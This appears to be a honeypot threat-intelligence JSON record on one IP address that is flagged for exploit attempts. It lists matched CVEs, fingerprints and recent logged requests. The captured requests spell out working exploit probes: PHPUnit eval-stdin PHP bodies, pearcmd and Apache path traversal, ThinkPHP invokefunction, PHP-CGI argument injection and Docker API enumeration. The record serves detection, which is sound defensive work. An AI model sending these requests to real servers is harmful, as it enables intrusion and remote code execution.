{"ip":"121.6.97.6","data_as_of":"2026-10-24T05:49:05+00:00","observed":true,"total_events":197,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":null,"why":["45 request(s) matched a known exploit path.","Requests with a body (POST, PUT, PATCH or DELETE) were seen, which carries a payload.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 2,435,349 bytes, which is sustained payload delivery.","Held a session open for 137s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"2,435,349 bytes sent, longest session 137s","bytes_sent":2435349,"session_seconds":137,"persistent":true},"basis":"first_contact"},"first_seen":"2026-09-16T08:45:14","last_seen":"2026-10-09T08:01:50","events_24h":0,"events_7d":0,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"SG","country_name":"Singapore","region":"","city":"Singapore","lat":1.3552,"lon":103.8859,"asn":9506,"org":"Singtel Fibre Broadband"},"source_domain":"bb121-6-97-6.singnet.com.sg","known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","kev_date_added":"2022-02-15"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","kev_date_added":"2021-11-03"}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":147},{"port":80,"proto":"tcp","label":"HTTP","count":49},{"port":2375,"proto":"tcp","label":"Docker","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b50303bfb1f1825d32a707c10440c0ec288b2cbcc182e0a1f6856a6a87e0d5894e5f54200f18650c4b3a91bd1d0a389201e9bb0d736206ffe90e3578f69e87babd5367d300244a4a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f003501000548dada000000170000ff01000100000a000c000a4a4a11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04ed4a4a00010011ec04c0527c2b44f81d56840eaa680c063990114b951c96a765dc95565236aef23709877c1af34c44e68aa5dc19fd0b766b5004618a9c10c6625f925057812b64f71374223b695056a1a44f916b157134826af3523fdb4753d45517e886594a62d9f7a022aa26a9f620c3c6b4cdda4cecc39fa6ab51c986959ad1294d1190e2058036ea019a477b8407c9d5c5980920bcea886934ba6991c84685f3050969aa1d111ab0265c47d021be76c741a503de022103d30eaed34b3b058c69b71b12b4871d346485b7259c3807b188830961125fb3ce3b046f75abb494e7ba2071956b2c04167262d6d15eaf46411dc62f91e5c01700cb37906cf696a9a3e72e152037253c3953733eb8a448f20b5a9900ccdb771c0d129affd35bf92561cedb9a4ea61b24e06a6da0415b277a716137dba22dc09a55520614be8433c0a86fe55600e18545eed06278608e297b6291b5818dfa7ba400a59883255d2210b2b7c46d20cd8d653a7e915bc93606cd73478d928cbb175309311e659cb2f768228f847ed4950c65e7757dd32675085c55066e2350cc89da963799223a69077be0519a1260e51a2ab44563f7fb54840a46dea3ac5c42b4be0266cf75c88532cef916a0b99c0d74c8b8e0c3cc2e273b608cc09ba6cf0f413dc5fc3fc0628e5d5c3db930bb1133566b577004a4a49fc0189684bb7e60cc9681b02c85bc4eaa04a2a3cc800b06d9e1bdd4226549c4301bb20024d9bbb1fb0f82050f75c64175980fdf92152f2278fc3715b2a391dc484f86ec5df6a38f9fe836f813415fe56ca7d4b0f453a5546a7653eb60314c0446ab0a205608a72314a9f560e7e0bf35e81ed7e49456ec8f2068cfbf5c1fcc3848c0d27b2cf63ed771ca6be90d5f464c9daa9f9291442294cf3fa7cb059ab3a34a2c23fa4e95702ce189cacbecce41b95ac354b7195a815cb52f87a85c9f1404e4d8b4339cbc2d0abe83ba3b835542f338010de6708be78a5b747382d8ca167b6f38080fbe43324529c4a919a1d8acc8aebbb8c41b22fef53cf11a985dc6c9757783ee542323c65052e95f678217f9a0522990206fca97ce4096e2ca3cc8e108f2539b14bc25185291f4ba22a336150a83ba230a4692325f0bd8ba50cc5274325d14f2a0cbd0029a8cc12a560c94f0561408a19275273ab48ebda3a7b7c4ce1b9950bc66a7d9d315882a643924c086239dfd4abd47eb0e8c275480d566aef94a171c56e350c51e56b3e289b125202c00d692a049cb0b515cc0d821b9a08c91f0450a4c3b27192742da970734a3ad0b39720437a1225a08c0145a1abf160c82653016d7f050b441b7812bbbf8e3c9fa8b30b13266156956d287c675577becc4b10c317e8da7180f0a9fbb65b6d00384c5ec6c9da15462f5be3ca63026e7372b917f35dccdb1aab521fb2936e14a648498e7b6542ce149a2866805d87880e2b6ede49290893b50343ffc66ad29172ee32023ca965e3c48b53f2538728c654e380c14f59934bc3620015454bc2ccca065461428a25a48e7d64c0dfaa89eb0aff63caf4185817733010c3298af4bc43cfcc3995a48cda28bf1a6b61e0c1a268c8eecb7490fd5ae3184cc236c8e8c98b881a70374907e3c268803569f491544962d5e8b3362c51e98c489e7fd807c2ef6aa10ee541fe7582848f538e06edbab2fe6438c487d66fe47743cd10d3107f1adac48c20fadad3a4ab0dc8b4d6aee3a001d0020958851e3d96f14066d32f4cafacbdbd1d87d83abb4fe26432ceec634efa7db73002d00020101002b0007060a0a03040303eaea0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":154,"b11cuq070_00050835_c0b30902":228,"b11cun050_00040035_dd905059":284},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-09-16","count":49},{"date":"2026-10-02","count":49},{"date":"2026-10-07","count":49},{"date":"2026-10-08","count":1},{"date":"2026-10-09","count":49}],"recent_events":[{"timestamp":"2026-10-09T08:01:50","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"73f0fe00-fb4d-4c22-ab15-8ccc28caf444","seq":49,"duration_ms":44564,"bytes_in":19215,"bytes_out":3675},{"timestamp":"2026-10-09T08:01:49","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"73f0fe00-fb4d-4c22-ab15-8ccc28caf444","seq":47,"duration_ms":42703,"bytes_in":18871,"bytes_out":3525},{"timestamp":"2026-10-09T08:01:49","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"73f0fe00-fb4d-4c22-ab15-8ccc28caf444","seq":48,"duration_ms":43542,"bytes_in":19060,"bytes_out":3600},{"timestamp":"2026-10-09T08:01:47","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"73f0fe00-fb4d-4c22-ab15-8ccc28caf444","seq":46,"duration_ms":41333,"bytes_in":18612,"bytes_out":3450},{"timestamp":"2026-10-09T08:01:46","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"73f0fe00-fb4d-4c22-ab15-8ccc28caf444","seq":44,"duration_ms":39859,"bytes_in":18121,"bytes_out":3300},{"timestamp":"2026-10-09T08:01:46","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"73f0fe00-fb4d-4c22-ab15-8ccc28caf444","seq":45,"duration_ms":40535,"bytes_in":18363,"bytes_out":3375},{"timestamp":"2026-10-09T08:01:45","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"73f0fe00-fb4d-4c22-ab15-8ccc28caf444","seq":43,"duration_ms":38816,"bytes_in":17848,"bytes_out":3225},{"timestamp":"2026-10-09T08:01:44","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"73f0fe00-fb4d-4c22-ab15-8ccc28caf444","seq":42,"duration_ms":37710,"bytes_in":17574,"bytes_out":3150},{"timestamp":"2026-10-09T08:01:43","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"73f0fe00-fb4d-4c22-ab15-8ccc28caf444","seq":41,"duration_ms":36830,"bytes_in":17298,"bytes_out":3075},{"timestamp":"2026-10-09T08:01:42","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f776f726b73706163652f64727570616c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"73f0fe00-fb4d-4c22-ab15-8ccc28caf444","seq":40,"duration_ms":36111,"bytes_in":17023,"bytes_out":3000}],"http_methods":[{"method":"GET","count":169},{"method":"POST","count":28}],"distinct_ports_total":3,"top_paths":[{"path":"/containers/json","count":5,"ports":3},{"path":"/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":4,"ports":2},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":4,"ports":2},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":4,"ports":2},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":4,"ports":2},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":4,"ports":2}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:443","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"kev_date_added":"2022-02-15"},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"}]}